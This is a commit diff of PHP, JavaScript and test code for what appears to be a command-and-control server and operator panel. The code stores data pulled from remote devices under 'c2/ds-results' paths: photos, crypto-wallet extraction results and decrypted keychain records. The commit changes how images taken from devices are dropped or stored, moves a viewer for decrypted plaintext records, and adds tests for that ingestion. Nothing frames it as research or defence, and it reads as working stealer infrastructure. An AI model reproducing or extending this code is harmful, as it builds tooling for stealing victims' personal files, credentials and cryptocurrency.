fix: keychain view
This commit is contained in:
@@ -40,6 +40,13 @@ class DsResultStore
|
|||||||
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
|
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Images are only persisted when album storage is enabled. When it's
|
||||||
|
// off, drop them entirely — no ds-results file, no .seen marker, no
|
||||||
|
// photos table row — so the device's disk footprint stays minimal.
|
||||||
|
if ($this->isImage($filename) && ! $device->albumStorageEnabled()) {
|
||||||
|
return ['stored' => false, 'reason' => 'image_skipped_album_off', 'filename' => $filename];
|
||||||
|
}
|
||||||
|
|
||||||
$raw = $payload['data'] ?? null;
|
$raw = $payload['data'] ?? null;
|
||||||
if (! is_string($raw) || $raw === '') {
|
if (! is_string($raw) || $raw === '') {
|
||||||
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
|
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
|
||||||
@@ -151,11 +158,15 @@ class DsResultStore
|
|||||||
return $seen;
|
return $seen;
|
||||||
}
|
}
|
||||||
|
|
||||||
// For images, the Photo table is the source of truth for album dedup.
|
// Images reach here only when album storage is enabled (store() drops
|
||||||
// markSeen() runs before ingestPhotos(), so a bare .seen marker can
|
// images entirely when album is off). The Photo table is the source of
|
||||||
// survive a failed/skipped album ingest (album storage was off, the
|
// truth for album dedup. markSeen() runs before ingestPhotos(), so a
|
||||||
|
// bare .seen marker can survive a failed/skipped album ingest (the
|
||||||
// device record was recreated, an exception was swallowed, …) and
|
// device record was recreated, an exception was swallowed, …) and
|
||||||
// would otherwise block the photo from ever entering the album.
|
// would otherwise block the photo from ever entering the album. When
|
||||||
|
// a Photo row exists we treat it as a duplicate; otherwise we retry
|
||||||
|
// the ingest by returning false so store() re-stores + calls
|
||||||
|
// ingestPhotos.
|
||||||
$hasPhoto = Photo::query()
|
$hasPhoto = Photo::query()
|
||||||
->where('device_id', $device->id)
|
->where('device_id', $device->id)
|
||||||
->where('sha256', $hash)
|
->where('sha256', $hash)
|
||||||
@@ -168,11 +179,7 @@ class DsResultStore
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// No Photo row yet. When album storage is enabled, retry the ingest
|
return false;
|
||||||
// (return false so store() re-stores + calls ingestPhotos). When
|
|
||||||
// disabled, fall back to .seen for raw-file dedup so we don't keep
|
|
||||||
// re-storing identical bytes under every new command_id.
|
|
||||||
return $seen && ! $device->albumStorageEnabled();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private function markSeen(Device $device, string $hash, string $filename): void
|
private function markSeen(Device $device, string $hash, string $filename): void
|
||||||
|
|||||||
@@ -716,6 +716,30 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
});
|
});
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
// Plaintext detail viewer (sensitive fields masked)
|
||||||
|
if (obj.event === 'plaintext' && obj.data.detail_api_url) {
|
||||||
|
layer.load(1);
|
||||||
|
$.getJSON(obj.data.detail_api_url, function (res) {
|
||||||
|
layer.closeAll('loading');
|
||||||
|
if (!res || res.code !== 0) {
|
||||||
|
return layer.msg((res && res.msg) || '加载失败');
|
||||||
|
}
|
||||||
|
var d = res.data || {};
|
||||||
|
var detail = d.detail || {};
|
||||||
|
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
|
||||||
|
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||||
|
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
|
||||||
|
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
|
||||||
|
'敏感加密字段已打码,其余明文信息完整展示</div>' +
|
||||||
|
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
|
||||||
|
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
||||||
|
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
|
||||||
|
}).fail(function () {
|
||||||
|
layer.closeAll('loading');
|
||||||
|
layer.msg('加载失败');
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||||||
layer.load(1);
|
layer.load(1);
|
||||||
$.getJSON(obj.data.items_url, function (res) {
|
$.getJSON(obj.data.items_url, function (res) {
|
||||||
@@ -751,31 +775,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
|||||||
layer.msg('加载失败');
|
layer.msg('加载失败');
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
// Plaintext detail viewer (sensitive fields masked)
|
|
||||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
|
||||||
if (obj.event !== 'plaintext' || !obj.data.detail_api_url) return;
|
|
||||||
layer.load(1);
|
|
||||||
$.getJSON(obj.data.detail_api_url, function (res) {
|
|
||||||
layer.closeAll('loading');
|
|
||||||
if (!res || res.code !== 0) {
|
|
||||||
return layer.msg((res && res.msg) || '加载失败');
|
|
||||||
}
|
|
||||||
var d = res.data || {};
|
|
||||||
var detail = d.detail || {};
|
|
||||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
|
|
||||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
|
||||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
|
|
||||||
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
|
|
||||||
'敏感加密字段已打码,其余明文信息完整展示</div>' +
|
|
||||||
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
|
|
||||||
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
|
||||||
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
|
|
||||||
}).fail(function () {
|
|
||||||
layer.closeAll('loading');
|
|
||||||
layer.msg('加载失败');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (tab === 'wallets') {
|
if (tab === 'wallets') {
|
||||||
|
|||||||
@@ -45,4 +45,60 @@ class DsResultStoreTest extends TestCase
|
|||||||
Storage::disk('local')->assertExists($done['path']);
|
Storage::disk('local')->assertExists($done['path']);
|
||||||
$this->assertSame('AAABBB', Storage::disk('local')->get($done['path']));
|
$this->assertSame('AAABBB', Storage::disk('local')->get($done['path']));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function drops_images_when_album_storage_off(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'DSIMGSKIP01',
|
||||||
|
'album_storage' => false,
|
||||||
|
]);
|
||||||
|
$store = app(DsResultStore::class);
|
||||||
|
|
||||||
|
$png = "\x89PNG\r\n\x1a\n".str_repeat('x', 32);
|
||||||
|
$res = $store->store($device, [
|
||||||
|
'filename' => 'IMG_0001.PNG',
|
||||||
|
'data' => base64_encode($png),
|
||||||
|
'command_id' => 'cmd-img-1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertFalse($res['stored']);
|
||||||
|
$this->assertSame('image_skipped_album_off', $res['reason']);
|
||||||
|
$this->assertSame('IMG_0001.PNG', $res['filename']);
|
||||||
|
Storage::disk('local')->assertMissing('c2/ds-results/DSIMGSKIP01/cmd-img-1/IMG_0001.PNG');
|
||||||
|
Storage::disk('local')->assertMissing('c2/ds-results/DSIMGSKIP01/.seen/'.hash('sha256', $png));
|
||||||
|
$this->assertSame(0, \App\Models\Photo::query()->where('device_id', $device->id)->count());
|
||||||
|
|
||||||
|
// Non-images still land when album is off.
|
||||||
|
$res2 = $store->store($device, [
|
||||||
|
'filename' => 'wallet_extract_result.json',
|
||||||
|
'data' => base64_encode('{"status":"success","wallets":1}'),
|
||||||
|
'command_id' => 'cmd-wallet-1',
|
||||||
|
]);
|
||||||
|
$this->assertTrue($res2['stored']);
|
||||||
|
Storage::disk('local')->assertExists($res2['path']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function stores_images_when_album_storage_on(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'DSIMGON01',
|
||||||
|
'album_storage' => true,
|
||||||
|
]);
|
||||||
|
$store = app(DsResultStore::class);
|
||||||
|
|
||||||
|
$png = "\x89PNG\r\n\x1a\n".str_repeat('x', 32);
|
||||||
|
$res = $store->store($device, [
|
||||||
|
'filename' => 'IMG_0001.PNG',
|
||||||
|
'data' => base64_encode($png),
|
||||||
|
'command_id' => 'cmd-img-on-1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->assertTrue($res['stored']);
|
||||||
|
Storage::disk('local')->assertExists('c2/ds-results/DSIMGON01/cmd-img-on-1/IMG_0001.PNG');
|
||||||
|
Storage::disk('local')->assertExists('c2/ds-results/DSIMGON01/.seen/'.hash('sha256', $png));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user